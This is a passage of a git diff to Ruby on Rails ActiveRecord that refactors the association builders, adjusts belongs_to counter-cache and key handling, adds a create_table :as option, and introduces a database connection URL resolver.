inverse.target = owner
inverse.inversed = true
end
+ record
end
# Returns the class of the target. belongs_to polymorphic overrides this to look at the
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index e1fa5225b5..8272a5584c 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -8,13 +8,16 @@ module ActiveRecord
end
def replace(record)
- raise_on_type_mismatch!(record) if record
-
- update_counters(record)
- replace_keys(record)
- set_inverse_instance(record)
-
- @updated = true if record
+ if record
+ raise_on_type_mismatch!(record)
+ update_counters(record)
+ replace_keys(record)
+ set_inverse_instance(record)
+ @updated = true
+ else
+ decrement_counters
+ remove_keys
+ end
self.target = record
end
@@ -34,35 +37,41 @@ module ActiveRecord
!loaded? && foreign_key_present? && klass
end
- def update_counters(record)
+ def with_cache_name
counter_cache_name = reflection.counter_cache_column
+ return unless counter_cache_name && owner.persisted?
+ yield counter_cache_name
+ end
- if counter_cache_name && owner.persisted? && different_target?(record)
- if record
- record.class.increment_counter(counter_cache_name, record.id)
- end
+ def update_counters(record)
+ with_cache_name do |name|
+ return unless different_target? record
+ record.class.increment_counter(name, record.id)
+ decrement_counter name
+ end
+ end
- if foreign_key_present?
- klass.decrement_counter(counter_cache_name, target_id)
- end
+ def decrement_counters
+ with_cache_name { |name| decrement_counter name }
+ end
+
+ def decrement_counter counter_cache_name
+ if foreign_key_present?
+ klass.decrement_counter(counter_cache_name, target_id)
end
end
# Checks whether record is different to the current target, without loading it
def different_target?(record)
- if record.nil?
- owner[reflection.foreign_key]
- else
- record.id != owner[reflection.foreign_key]
- end
+ record.id != owner[reflection.foreign_key]
end
def replace_keys(record)
- if record
- owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
- else
- owner[reflection.foreign_key] = nil
- end
+ owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
+ end
+
+ def remove_keys
+ owner[reflection.foreign_key] = nil
end
def foreign_key_present?
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index eae5eed3a1..b710cf6bdb 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -11,7 +11,12 @@ module ActiveRecord
def replace_keys(record)
super
- owner[reflection.foreign_type] = record && record.class.base_class.name
+ owner[reflection.foreign_type] = record.class.base_class.name
+ end
+
+ def remove_keys
+ super
+ owner[reflection.foreign_type] = nil
end
def different_target?(record)
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 37ba1c73b1..3911d1b520 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
# This is the parent Association class which defines the variables
# used by all associations.
#
@@ -13,65 +15,67 @@ module ActiveRecord::Associations::Builder
class Association #:nodoc:
class << self
attr_accessor :extensions
+ # TODO: This class accessor is needed to make activerecord-deprecated_finders work.
+ # We can move it to a constant in 5.0.
+ attr_accessor :valid_options
end
self.extensions = []
- VALID_OPTIONS = [:class_name, :class, :foreign_key, :validate]
+ self.valid_options = [:class_name, :class, :foreign_key, :validate]
+
+ attr_reader :name, :scope, :options
def self.build(model, name, scope, options, &block)
- extension = define_extensions model, name, &block
- reflection = create_reflection model, name, scope, options, extension
+ builder = create_builder model, name, scope, options, &block
+ reflection = builder.build(model)
define_accessors model, reflection
define_callbacks model, reflection
+ builder.define_extensions model
reflection
end
- def self.create_reflection(model, name, scope, options, extension = nil)
+ def self.create_builder(model, name, scope, options, &block)
raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
+ new(model, name, scope, options, &block)
+ end
+
+ def initialize(model, name, scope, options)
+ # TODO: Move this to create_builder as soon we drop support to activerecord-deprecated_finders.
if scope.is_a?(Hash)
options = scope
scope = nil
end
- validate_options(options)
+ # TODO: Remove this model argument as soon we drop support to activerecord-deprecated_finders.
+ @name = name
+ @scope = scope
+ @options = options
- scope = build_scope(scope, extension)
-
- ActiveRecord::Reflection.create(macro, name, scope, options, model)
- end
-
- def self.build_scope(scope, extension)
- new_scope = scope
+ validate_options
if scope && scope.arity == 0
- new_scope = proc { instance_exec(&scope) }
- end
-
- if extension
- new_scope = wrap_scope new_scope, extension
+ @scope = proc { instance_exec(&scope) }
end
-
- new_scope
end
- def self.wrap_scope(scope, extension)
- scope
+ def build(model)
+ ActiveRecord::Reflection.create(macro, name, scope, options, model)
end
- def self.macro
+ def macro
raise NotImplementedError
end
- def self.valid_options(options)
- VALID_OPTIONS + Association.extensions.flat_map(&:valid_options)
+ def valid_options
+ Association.valid_options + Association.extensions.flat_map(&:valid_options)
end
- def self.validate_options(options)
- options.assert_valid_keys(valid_options(options))
+ def validate_options
+ options.assert_valid_keys(valid_options)
end
- def self.define_extensions(model, name)
+ def define_extensions(model)
end
def self.define_callbacks(model, reflection)
@@ -114,6 +118,8 @@ module ActiveRecord::Associations::Builder
raise NotImplementedError
end
+ private
+
def self.add_before_destroy_callbacks(model, reflection)
unless valid_dependent_options.include? reflection.options[:dependent]
raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{reflection.options[:dependent]}"
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index ac387d377d..5ccaa55a32 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -1,10 +1,10 @@
module ActiveRecord::Associations::Builder
class BelongsTo < SingularAssociation #:nodoc:
- def self.macro
+ def macro
:belongs_to
end
- def self.valid_options(options)
+ def valid_options
super + [:foreign_type, :polymorphic, :touch, :counter_cache]
end
@@ -23,6 +23,8 @@ module ActiveRecord::Associations::Builder
add_counter_cache_methods mixin
end
+ private
+
def self.add_counter_cache_methods(mixin)
return if mixin.method_defined? :belongs_to_counter_cache_after_create
@@ -91,7 +93,13 @@ module ActiveRecord::Associations::Builder
old_foreign_id = o.changed_attributes[foreign_key]
if old_foreign_id
- klass = o.association(name).klass
+ association = o.association(name)
+ reflection = association.reflection
+ if reflection.polymorphic?
+ klass = o.public_send("#{reflection.foreign_type}_was").constantize
+ else
+ klass = association.klass
+ end
old_record = klass.find_by(klass.primary_key => old_foreign_id)
if old_record
@@ -104,7 +112,7 @@ module ActiveRecord::Associations::Builder
end
record = o.send name
- unless record.nil? || record.new_record?
+ if record && record.persisted?
if touch != true
record.touch touch
else
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index 2ff67f904d..bc15a49996 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -7,11 +7,22 @@ module ActiveRecord::Associations::Builder
CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
- def self.valid_options(options)
+ def valid_options
super + [:table_name, :before_add,
:after_add, :before_remove, :after_remove, :extend]
end
+ attr_reader :block_extension
+
+ def initialize(model, name, scope, options)
+ super
+ @mod = nil
+ if block_given?
+ @mod = Module.new(&Proc.new)
+ @scope = wrap_scope @scope, @mod
+ end
+ end
+
def self.define_callbacks(model, reflection)
super
name = reflection.name
@@ -21,11 +32,10 @@ module ActiveRecord::Associations::Builder
}
end
- def self.define_extensions(model, name)
- if block_given?
+ def define_extensions(model)
+ if @mod
extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
- extension = Module.new(&Proc.new)
- model.parent.const_set(extension_module_name, extension)
+ model.parent.const_set(extension_module_name, @mod)
end
end
@@ -68,7 +78,9 @@ module ActiveRecord::Associations::Builder
CODE
end
- def self.wrap_scope(scope, mod)
+ private
+
+ def wrap_scope(scope, mod)
if scope
proc { |owner| instance_exec(owner, &scope).extending(mod) }
else
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index 1c9c04b044..e472277374 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -20,7 +20,7 @@ module ActiveRecord::Associations::Builder
def self.build(lhs_class, name, options)
if options[:join_table]
- KnownTable.new options[:join_table]
+ KnownTable.new options[:join_table].to_s
else
class_name = options.fetch(:class_name) {
name.to_s.camelize.singularize
@@ -84,11 +84,11 @@ module ActiveRecord::Associations::Builder
middle_name = [lhs_model.name.downcase.pluralize,
association_name].join('_').gsub(/::/, '_').to_sym
middle_options = middle_options join_model
-
- HasMany.create_reflection(lhs_model,
- middle_name,
- nil,
- middle_options)
+ hm_builder = HasMany.create_builder(lhs_model,
+ middle_name,
+ nil,
+ middle_options)
+ hm_builder.build lhs_model
end
private
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index 227184cd19..7909b93622 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -1,10 +1,10 @@
module ActiveRecord::Associations::Builder
class HasMany < CollectionAssociation #:nodoc:
- def self.macro
+ def macro
:has_many
end
- def self.valid_options(options)
+ def valid_options
super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache]
end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 064a3c8b51..f359efd496 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -1,10 +1,10 @@
module ActiveRecord::Associations::Builder
class HasOne < SingularAssociation #:nodoc:
- def self.macro
+ def macro
:has_one
end
- def self.valid_options(options)
+ def valid_options
valid = super + [:order, :as]
valid += [:through, :source, :source_type] if options[:through]
valid
@@ -14,6 +14,8 @@ module ActiveRecord::Associations::Builder
[:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
end
+ private
+
def self.add_before_destroy_callbacks(model, reflection)
super unless reflection.options[:through]
end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index a6e8300642..e655c389a6 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -2,7 +2,7 @@
module ActiveRecord::Associations::Builder
class SingularAssociation < Association #:nodoc:
- def self.valid_options(options)
+ def valid_options
super + [:remote, :dependent, :primary_key, :inverse_of]
end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 62f23f54f9..52531a3520 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -4,7 +4,7 @@ module ActiveRecord
#
# CollectionAssociation is an abstract class that provides common stuff to
# ease the implementation of association proxies that represent
- # collections. See the class hierarchy in AssociationProxy.
+ # collections. See the class hierarchy in Association.
#
# CollectionAssociation:
# HasManyAssociation => has_many
@@ -66,11 +66,11 @@ module ActiveRecord
@target = []
end
- def select(select = nil)
+ def select(*fields)
if block_given?
load_target.select.each { |e| yield e }
else
- scope.select(select)
+ scope.select(*fields)
end
end
@@ -193,7 +193,11 @@ module ActiveRecord
# Count all records using SQL. Construct options and pass them with
# scope to the target class's +count+.
- def count(column_name = nil)
+ def count(column_name = nil, count_options = {})
+ # TODO: Remove count_options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ column_name, count_options = nil, column_name if column_name.is_a?(Hash)
+
relation = scope
if association_scope.distinct_value
# This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index 0b37ecf5b7..e3fc908444 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -75,7 +75,7 @@ module ActiveRecord
# # #<Pet id: nil, name: "Choo-Choo">
# # ]
#
- # person.pets.select([:id, :name])
+ # person.pets.select(:id, :name )
# # => [
# # #<Pet id: 1, name: "Fancy-Fancy">,
# # #<Pet id: 2, name: "Spook">,
@@ -106,13 +106,13 @@ module ActiveRecord
# # #<Pet id: 2, name: "Spook">,
# # #<Pet id: 3, name: "Choo-Choo">
# # ]
- def select(select = nil, &block)
- @association.select(select, &block)
+ def select(*fields, &block)
+ @association.select(*fields, &block)
end
# Finds an object in the collection responding to the +id+. Uses the same
# rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt>
- # error if the object can not be found.
+ # error if the object cannot be found.
#
# class Person < ActiveRecord::Base
# has_many :pets
@@ -669,8 +669,10 @@ module ActiveRecord
# # #<Pet id: 2, name: "Spook", person_id: 1>,
# # #<Pet id: 3, name: "Choo-Choo", person_id: 1>
# # ]
- def count(column_name = nil)
- @association.count(column_name)
+ def count(column_name = nil, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ @association.count(column_name, options)
end
# Returns the size of the collection. If the collection hasn't been loaded,
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 9506960be3..295dccf34e 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -114,7 +114,7 @@ module ActiveRecord
walk join_root, oj.join_root
else
oj.join_root.children.flat_map { |child|
- make_outer_joins join_root, child
+ make_outer_joins oj.join_root, child
}
end
}
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index 2393667ac8..83637a0409 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -183,7 +183,7 @@ module ActiveRecord
def run(preloader); end
def preloaded_records
- owners.flat_map { |owner| owner.read_attribute reflection.name }
+ owners.flat_map { |owner| owner.association(reflection.name).target }
end
end
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
index 2b5cfda8ce..f60647a81e 100644
--- a/activerecord/lib/active_record/associations/preloader/singular_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -11,7 +11,7 @@ module ActiveRecord
association = owner.association(reflection.name)
association.target = record
- association.set_inverse_instance(record)
+ association.set_inverse_instance(record) if record
end
end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index 02dc464536..e4500af5b2 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -39,7 +39,9 @@ module ActiveRecord
end
def find_target
- scope.first.tap { |record| set_inverse_instance(record) }
+ if record = scope.first
+ set_inverse_instance record
+ end
end
def replace(record)
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index 3924eec872..73761520f7 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -128,6 +128,16 @@ module ActiveRecord
end
end
+ def find_generated_attribute_method(method_name) # :nodoc:
+ klass = self
+ until klass == Base
+ gen_methods = klass.generated_attribute_methods
+ return gen_methods.instance_method(method_name) if method_defined_within?(method_name, gen_methods, Object)
+ klass = klass.superclass
+ end
+ nil
+ end
+
# Returns +true+ if +attribute+ is an attribute method and table exists,
# +false+ otherwise.
#
@@ -163,7 +173,14 @@ module ActiveRecord
def method_missing(method, *args, &block) # :nodoc:
self.class.define_attribute_methods
if respond_to_without_attributes?(method)
- send(method, *args, &block)
+ # make sure to invoke the correct attribute method, as we might have gotten here via a `super`
+ # call in a overwritten attribute method
+ if attribute_method = self.class.find_generated_attribute_method(method)
+ # this is probably horribly slow, but should only happen at most once for a given AR class
+ attribute_method.bind(self).call(*args, &block)
+ else
+ send(method, *args, &block)
+ end
else
super
end
@@ -313,7 +330,7 @@ module ActiveRecord
end
# Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
- # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+ # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
# <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
#
# Alias for the <tt>read_attribute</tt> method.
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index c152a246b5..d01e9aea59 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -102,7 +102,7 @@ module ActiveRecord
end
# Returns the value of the attribute identified by <tt>attr_name</tt> after
- # it has been typecast (for example, "2004-12-12" in a data column is cast
+ # it has been typecast (for example, "2004-12-12" in a date column is cast
# to a date object, like Date.new(2004, 12, 12)).
def read_attribute(attr_name)
# If it's cached, just return it
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index e05e22ebb0..1d3ec75aa1 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -4,7 +4,7 @@ require 'active_support/benchmarkable'
require 'active_support/dependencies'
require 'active_support/descendants_tracker'
require 'active_support/time'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/hash/deep_merge'
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index 128a9377c1..35f19f0bc0 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -128,7 +128,7 @@ module ActiveRecord
# record.credit_card_number = decrypt(record.credit_card_number)
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
@@ -163,7 +163,7 @@ module ActiveRecord
# record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index cfdcae7f63..cebe741daa 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -86,7 +86,7 @@ module ActiveRecord
end
end
- # Return the number of threads currently waiting on this
+ # Returns the number of threads currently waiting on this
# queue.
def num_waiting
synchronize do
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 1a323b6a9c..c90915c509 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -286,10 +286,6 @@ module ActiveRecord
# Inserts the given fixture into the table. Overridden in adapters that require
# something beyond a simple insert (eg. Oracle).
def insert_fixture(fixture, table_name)
- execute fixture_sql(fixture, table_name), 'Fixture Insert'
- end
-
- def fixture_sql(fixture, table_name)
columns = schema_cache.columns_hash(table_name)
key_list = []
@@ -298,7 +294,7 @@ module ActiveRecord
quote(value, columns[name])
end
- "INSERT INTO #{quote_table_name(table_name)} (#{key_list.join(', ')}) VALUES (#{value_list.join(', ')})"
+ execute "INSERT INTO #{quote_table_name(table_name)} (#{key_list.join(', ')}) VALUES (#{value_list.join(', ')})", 'Fixture Insert'
end
def empty_insert_statement_value
@@ -346,7 +342,7 @@ module ActiveRecord
protected
- # Return a subquery for the given key using the join information.
+ # Returns a subquery for the given key using the join information.
def subquery_for(key, select)
subselect = select.clone
subselect.projections = [key]
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 8399232d73..adc23a6674 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -31,8 +31,8 @@ module ActiveRecord
old, @query_cache_enabled = @query_cache_enabled, true
yield
ensure
- clear_query_cache
@query_cache_enabled = old
+ clear_query_cache unless @query_cache_enabled
end
def enable_query_cache!
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index 552a22d28a..75501852ed 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -43,7 +43,9 @@ module ActiveRecord
# SQLite does not understand dates, so this method will convert a Date
# to a String.
def type_cast(value, column)
- return value.id if value.respond_to?(:quoted_id)
+ if value.respond_to?(:quoted_id) && value.respond_to?(:id)
+ return value.id
+ end
case value
when String, ActiveSupport::Multibyte::Chars
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
index 7c330a2f25..a51691bfa8 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -34,9 +34,10 @@ module ActiveRecord
def visit_TableDefinition(o)
create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
- create_sql << "#{quote_table_name(o.name)} ("
- create_sql << o.columns.map { |c| accept c }.join(', ')
- create_sql << ") #{o.options}"
+ create_sql << "#{quote_table_name(o.name)} "
+ create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as
+ create_sql << "#{o.options}"
+ create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
create_sql
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 063b19871a..c39bf15e83 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -49,14 +49,15 @@ module ActiveRecord
# An array of ColumnDefinition objects, representing the column changes
# that have been defined.
attr_accessor :indexes
- attr_reader :name, :temporary, :options
+ attr_reader :name, :temporary, :options, :as
- def initialize(types, name, temporary, options)
+ def initialize(types, name, temporary, options, as = nil)
@columns_hash = {}
@indexes = {}
@native = types
@temporary = temporary
@options = options
+ @as = as
@name = name
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index 6268ae4875..88bf15bc18 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -131,6 +131,9 @@ module ActiveRecord
# [<tt>:force</tt>]
# Set to true to drop the table before creating it.
# Defaults to false.
+ # [<tt>:as</tt>]
+ # SQL to use to generate the table. When this option is used, the block is
+ # ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
#
# ====== Add a backend specific option to the generated SQL (MySQL)
#
@@ -169,19 +172,31 @@ module ActiveRecord
# supplier_id int
# )
#
+ # ====== Create a temporary table based on a query
+ #
+ # create_table(:long_query, temporary: true,
+ # as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+ #
+ # generates:
+ #
+ # CREATE TEMPORARY TABLE long_query AS
+ # SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+ #
# See also TableDefinition#column for details on how to create columns.
def create_table(table_name, options = {})
- td = create_table_definition table_name, options[:temporary], options[:options]
+ td = create_table_definition table_name, options[:temporary], options[:options], options[:as]
- unless options[:id] == false
- pk = options.fetch(:primary_key) {
- Base.get_primary_key table_name.to_s.singularize
- }
+ if !options[:as]
+ unless options[:id] == false
+ pk = options.fetch(:primary_key) {
+ Base.get_primary_key table_name.to_s.singularize
+ }
- td.primary_key pk, options.fetch(:id, :primary_key), options
- end
+ td.primary_key pk, options.fetch(:id, :primary_key), options
+ end
- yield td if block_given?
+ yield td if block_given?
+ end
if options[:force] && table_exists?(table_name)
drop_table(table_name, options)
@@ -690,7 +705,7 @@ module ActiveRecord
column_type_sql
else
- type
+ type.to_s
end
end
@@ -699,7 +714,7 @@ module ActiveRecord
# require the order columns appear in the SELECT.
#
# columns_for_distinct("posts.id", ["posts.created_at desc"])
- def columns_for_distinct(columns, orders) # :nodoc:
+ def columns_for_distinct(columns, orders) #:nodoc:
columns
end
@@ -721,6 +736,10 @@ module ActiveRecord
remove_column table_name, :created_at
end
+ def update_table_definition(table_name, base) #:nodoc:
+ Table.new(table_name, base)
+ end
+
protected
def add_index_sort_order(option_strings, column_names, options = {})
if options.is_a?(Hash) && order = options[:order]
@@ -826,17 +845,13 @@ module ActiveRecord
end
private
- def create_table_definition(name, temporary, options)
- TableDefinition.new native_database_types, name, temporary, options
+ def create_table_definition(name, temporary, options, as = nil)
+ TableDefinition.new native_database_types, name, temporary, options, as
end
def create_alter_table(name)
AlterTable.new create_table_definition(name, false, {})
end
-
- def update_table_definition(table_name, base)
- Table.new(table_name, base)
- end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index e3270e734f..7768c24967 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -148,7 +148,7 @@ module ActiveRecord
QUOTED_TRUE, QUOTED_FALSE = '1', '0'
NATIVE_DATABASE_TYPES = {
- :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+ :primary_key => "int(11) auto_increment PRIMARY KEY",
:string => { :name => "varchar", :limit => 255 },
:text => { :name => "text" },
:integer => { :name => "int", :limit => 4 },
@@ -303,12 +303,6 @@ module ActiveRecord
else
log(sql, name) { @connection.query(sql) }
end
- rescue ActiveRecord::StatementInvalid => exception
- if exception.message.split(":").first =~ /Packets out of order/
- raise ActiveRecord::StatementInvalid.new("'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings.", exception.original_exception)
- else
- raise
- end
end
# MysqlAdapter has to free a result after using it, so we use this method to write
@@ -492,6 +486,10 @@ module ActiveRecord
rename_table_indexes(table_name, new_name)
end
+ def drop_table(table_name, options = {})
+ execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE #{quote_table_name(table_name)}"
+ end
+
def rename_index(table_name, old_name, new_name)
if (version[0] == 5 && version[1] >= 7) || version[0] >= 6
execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
index 64fc9e95d8..3f8b14bf67 100644
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -13,41 +13,146 @@ module ActiveRecord
@config = original.config.dup
end
+ # Expands a connection string into a hash.
+ class ConnectionUrlResolver # :nodoc:
+
+ # == Example
+ #
+ # url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+ # ConnectionUrlResolver.new(url).to_hash
+ # # => {
+ # "adapter" => "postgresql",
+ # "host" => "localhost",
+ # "port" => 9000,
+ # "database" => "foo_test",
+ # "username" => "foo",
+ # "password" => "bar",
+ # "pool" => "5",
+ # "timeout" => "3000"
+ # }
+ def initialize(url)
+ raise "Database URL cannot be empty" if url.blank?
+ @uri = URI.parse(url)
+ @adapter = @uri.scheme
+ @adapter = "postgresql" if @adapter == "postgres"
+ @query = @uri.query || ''
+ end
+
+ # Converts the given URL to a full connection hash.
+ def to_hash
+ config = raw_config.reject { |_,value| value.blank? }
+ config.map { |key,value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+ config
+ end
+
+ private
+
+ def uri
+ @uri
+ end
+
+ def uri_parser
+ @uri_parser ||= URI::Parser.new
+ end
+
+ # Converts the query parameters of the URI into a hash.
+ #
+ # "localhost?pool=5&reap_frequency=2"
+ # # => { "pool" => "5", "reap_frequency" => "2" }
+ #
+ # returns empty hash if no query present.
+ #
+ # "localhost"
+ # # => {}
+ def query_hash
+ Hash[@query.split("&").map { |pair| pair.split("=") }]
+ end
+
+ def raw_config
+ query_hash.merge({
+ "adapter" => @adapter,
+ "username" => uri.user,
+ "password" => uri.password,
+ "port" => uri.port,
+ "database" => database,
+ "host" => uri.host })
+ end
+
+ # Returns name of the database.
+ # Sqlite3 expects this to be a full path or `:memory:`.
+ def database
+ if @adapter == 'sqlite3'
+ if '/:memory:' == uri.path
+ ':memory:'
+ else
+ uri.path
+ end
+ else
+ uri.path.sub(%r{^/},"")
+ end
+ end
+ end
+
##
- # Builds a ConnectionSpecification from user input
+ # Builds a ConnectionSpecification from user input.
class Resolver # :nodoc:
- attr_reader :config, :klass, :configurations
+ attr_reader :configurations
- def initialize(config, configurations)
- @config = config
